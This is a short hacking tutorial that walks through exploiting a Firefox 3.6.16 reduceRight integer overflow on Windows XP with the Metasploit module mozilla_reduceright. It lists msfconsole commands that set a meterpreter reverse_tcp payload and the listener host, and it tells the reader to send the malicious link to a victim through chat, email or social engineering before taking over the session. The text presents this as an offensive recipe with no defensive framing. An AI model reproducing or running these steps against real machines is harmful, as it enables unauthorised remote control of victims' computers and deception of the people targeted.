Exploit Remote Windows PC using Mozilla Firefox Array.reduceRight () Integer Overflow

This module exploits a vulnerability found in Mozilla Firefox 3.6. When an array object is configured with a large length value, the reduceRight() method may cause an invalid index being used, allowing abitrary remote code execution. Please note that the exploit requires a longer amount of time (compare to a typical browser exploit) in order to gain control of the machine

Exploit Targets

Mozilla Firefox 3.6.16

Windows XP SP 2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/mozilla_reduceright

Msf exploit (mozilla_reduceright)>set payload windows/meterpreter/reverse_tcp

Msf exploit (mozilla_reduceright)>set lhost (IP of Local Host)

Msf exploit (mozilla_reduceright)>set srvhost (This must be an address on the local machine)

Msf exploit (mozilla_reduceright)>set uripath mozillanews (The Url to use for this exploit)

Msf exploit (mozilla_reduceright)>exploit

Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID


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